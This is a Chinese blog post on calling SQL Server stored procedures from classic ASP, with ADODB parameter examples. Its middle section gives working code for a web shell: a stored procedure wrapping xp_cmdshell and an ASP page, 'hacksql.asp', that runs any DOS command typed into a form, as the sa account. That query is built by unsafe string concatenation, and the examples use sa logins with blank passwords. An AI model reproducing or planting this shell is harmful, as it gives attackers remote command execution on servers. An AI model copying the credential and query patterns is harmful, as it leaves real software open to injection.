ASP中使用存储过程

1,调用没有参数的存储过程 
<% 
set  conn=server.CreateObject("adodb.connection") 
set  cmd=server.CreateObject("adodb.command") 
strconn="dsn=pubs;uid=sa;pwd" 
 
conn.Open  strconn 
set  cmd.ActiveConnection=conn 
 
cmd.CommandText="{call  nono}" 
 
'set  rs=cmc.exe  或者cmd.execute 
 
set  rs=cmd.Execute() 
 
%> 
2,一个输入的参数的存储过程 
<% 
set  conn=server.CreateObject("adodb.connection") 
set  cmd=server.CreateObject("adodb.command") 
strconn="dsn=pubs;uid=sa;pwd" 
 
conn.Open  strconn 
set  cmd.ActiveConnection=conn 
 
cmd.CommandText="{call  oneinput(?)}" 
cmd.Parameters.Append  cmd.CreateParameter("@aaa",adInteger  ,adParamInput  ) 
cmd("@aaa")=100 
 
cmd.Execute() 
 
%> 
3,一个输入参数和一个输出的参数 
<% 
set  conn=server.CreateObject("adodb.connection") 
set  cmd=server.CreateObject("adodb.command") 
strconn="dsn=pubs;uid=sa;pwd" 
 
conn.Open  strconn 
set  cmd.ActiveConnection=conn 
 
cmd.CommandText  =  "{call  oneinout(?,?)}" 
cmd.Parameters.Append  cmd.CreateParameter("@aaa",adInteger,adParamInput) 
cmd("@aaa")=10 
cmd.Parameters.Append  cmd.CreateParameter("@bbb",adInteger,adParamOutput) 
 
cmd.Execute() 
 
bbb=cmd("@bbb") 
%> 
4,一个输入参数,一个输出参数,和一个返回值 
<% 
set  conn=server.CreateObject("adodb.connection") 
set  cmd=server.CreateObject("adodb.command") 
strconn="dsn=pubs;uid=sa;pwd" 
 
conn.Open  strconn 
set  cmd.ActiveConnection=conn 
 
cmd.CommandText="{?=call  onereturn(?,?)}" 
 
cmd.Parameters.Append  cmd.CreateParameter("@return_value",adInteger,adParamReturnValue  ) 
cmd.Parameters.Append  cmd.CreateParameter("@aaa",adInteger,adParamInput  ) 
cmd("@aaa")=10 
cmd.Parameters.Append  cmd.CreateParameter("@bbb",adInteger,adParamOutput) 
 
cmd.Execute() 
 
bbb=cmd("@bbb") 
rrr=cmd("@return_value") 
%>   
 
--------------------------------------------------------------- 
 
1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy 
如下: 
CREATE  PROCEDURE  ddy 
@cmd  varchar(50) 
AS 
exec  master..xp_cmdshell  @cmd 
2、asp程序里如下:(hacksql.asp) 
<% 
cmd=trim(Request.Form("cmd")) 
if  cmd<>""  then 
work() 
else 
show() 
end  if 
function  work() 
set  conn=server.CreateObject("adodb.connection") 
set  rs=server.CreateObject("adodb.recordset") 
conn.Open  "xx","sa","" 
sql="exec  ddy  '"&cmd&"'" 
 
rs.Open  sql,conn 
if  not  rs.EOF  then 
do  while  not  rs.eof 
Response.Write  "<pre>"&htmlencode2(trim(rs(0)))&"</pre>" 
rs.MoveNext 
loop 
else 
Response.Write  "no" 
end  if 
if  rs.State=1  then  rs.close 
set  rs=nothing 
conn.Close 
set  conn=nothing 
end  function 
function  show() 
%> 
<form  action=hacksql.asp  method=post> 
请输入DOS命令:<input  type=text  name=cmd> 
<input  type=submit  value="ok"> 
</form> 
<% 
end  function 
function  htmlencode2(str)'--------转换函数(为了显示时比较工整) 
dim  result 
dim  l 
if  isnull(str)  then 
htmlencode2="" 
exit  function 
end  if 
l=len(str) 
result="" 
dim  i 
for  i  =  1  to  l 
select  case  mid(str,i,1) 
case  "<" 
result=result+"<" 
case  ">" 
result=result+">" 
case  chr(34) 
result=result+""" 
case  "&" 
result=result+"&" 
case  chr(13) 
result=result+"<br>" 
case  chr(9) 
result=result+"  " 
case  "'" 
result=result+"’" 
case  chr(32)   
result=result+"  " 
if  i+1<=l  and  i-1>0  then 
if  mid(str,i+1,1)=chr(32)  or  mid(str,i+1,1)=chr(9)  or  mid(str,i-1,1)=chr(32)  or  mid(str,i-1,1)=chr(9)  then   
result=result+"  " 
else 
result=result+"  " 
end  if 
else 
result=result+"  "   
end  if 
case  else 
result=result+mid(str,i,1) 
end  select 
next   
htmlencode2=result 
end  function 
%>

--------------------------------------------------------------- 
 
ASP中使用存储过程如下: 
Set  objrs_emp  =  Server.CreateObject("ADODB.Recordset") 
set  objcom  =  Server.CreateObject("ADODB.Command") 
 
 
objcom.ActiveConnection  =  objconn 
objcom.CommandType  =  &h0004 
Const  adCmdStoredProc  =  &H0004 
objcom.CommandTimeOut  =  15 
objcom.Prepared  =  True 
 
const  adInteger  =  3 
const  adVarChar  =  200 
const  adBSTR  =  8 
const  adChar  =  129 
const  adLongVarChar  =  201 
const  adWChar  =  130 
const  adVarWChar  =  202 
const  adLongVarWChar  =  203 
const  adBinary  =  128 
const  adVarBinary  =  204 
const  adLongVarBinary  =  205 
Const  adParamUnknow  =  &H0000 
Const  adParamInput  =  &H0001 
Const  adParamOutput  =  &H0002 
Const  adParamInputOutput  =  &H0003 
Const  adParamReturnValue  =  &H0004 
 
objcom.CommandText  =  "存储过程名称" 
objcom.Parameters.Append  objcom.CreateParameter("@empid",129,&H0001,10,empid) 
objcom.Parameters.Append  objcom.CreateParameter("@password",129,&H0001,10,password) 
objcom.Parameters.Append  objcom.CreateParameter("@ret",3,&H0001,,1) 
Set  objrs_emp  =  objcom.Execute 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值